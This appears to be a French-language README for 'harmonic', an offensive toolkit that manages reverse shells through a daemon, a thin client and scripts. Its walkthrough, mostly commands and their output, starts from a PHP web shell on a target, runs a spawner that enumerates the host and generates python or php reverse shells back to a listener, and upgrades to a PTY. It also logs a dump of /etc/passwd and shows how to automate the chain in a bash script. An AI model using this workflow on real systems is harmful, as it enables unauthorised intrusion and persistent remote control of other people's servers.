
Suite pour la gestion de reverse shells, conçue pour travailler dans le shell natif.
Début d'un ensemble d'outils Linux pour la gestion et l'interface avec des shells inversés (le code est encore à l'état « quick and dirty », avec peu de gestion des exceptions). Fortement inspiré par la philosophie UNIX, l'idée de base est d'avoir un démon pour gérer des points de terminaison arbitraires (connd, bien que ce ne soit pas encore un véritable démon, mais il peut tourner dans un terminal séparé) et d'exécuter des outils contre ces points de terminaison.
Les points de terminaison sont « pilotés » par un script ou un processus et exposés sous forme de fichiers dans le système de fichiers ; un client logiciel léger peut ensuite être utilisé pour interagir avec eux, mais on peut tout aussi bien y écrire et les lire à l'aide de commandes shell. En fait, la possibilité d'exécuter les scripts de manière autonome depuis le shell est un facteur de conception clé : idéalement, au plus, un script dépendra de la présence d'un point de terminaison, mais pourra également être utilisé en combinaison (en cascade les uns avec les autres).
Les options actuelles de points de terminaison sont :
Le client logiciel léger (hthinc.py) fournit une interface de base avec le point de terminaison du système, ainsi que l'exécution rapide de scripts sur le système. Plusieurs scripts basiques mais utiles ont été écrits :
Les types de drivers de shell inversé (c'est-à-dire ce qui pilote le shell sur le système distant) sont les suivants (prise en charge actuellement pour Linux) :
Autres scripts :
Dites à connd de démarrer un point de terminaison, en utilisant un driver de type wedge shell avec le script php fourni qui effectue des appels système avec une réponse formatée. Cependant, ce script d'une seule ligne aurait tout aussi bien pu être un code injecté dans un journal de serveur.
$ hconnd.py start wsh http://example.com/hwsh.php
1
Cela a créé le point de terminaison 1 (deux pipes d'entrée/sortie -- vous pouvez les voir comme t1i et t1o dans le sous-répertoire run). Nous utilisons donc maintenant hthinc.py pour interagir avec le shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Nous savons que c'est une machine Linux. Nous voulons sortir du web shell coincé et obtenir un vrai shell. Exécuter la commande intégrée !help affiche le message d'aide de thinc. Nous pouvons exécuter un script sp qui lance automatiquement des commandes sur le système distant, énumère l'environnement, démarre un point de terminaison nc, génère un shell inversé et s'y connecte automatiquement via un nouveau hthinc.py :
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Ou si nous savons que nous utilisons (par exemple) PHP comme driver, nous pouvons le spécifier :
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Et si nous avons un shell sans TTY ou que nous voulons en sortir, nous pouvons exécuter l'une des macros par défaut :
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
De plus, si nous voulons journaliser la sortie d'une commande, nous pouvons utiliser le script log qui l'enregistrera dans le répertoire de travail courant :
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Pendant que les points de terminaison sont actifs, vous pouvez attacher/détacher les clients car les processus de connexion sont gérés par le démon.
Comme tout peut être exécuté de manière plus unixienne, nous pouvons répéter rapidement des processus depuis le shell. Nous démarrons un point de terminaison webshell, obtenons l'ID du point de terminaison, puis depuis le shell exécutons le script de génération sp.py contre le point de terminaison (c'est le même script que celui utilisé dans hthinc.py mais avec un point d'entrée différent).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ou comme une ligne unique :
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
et automatiser facilement :
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455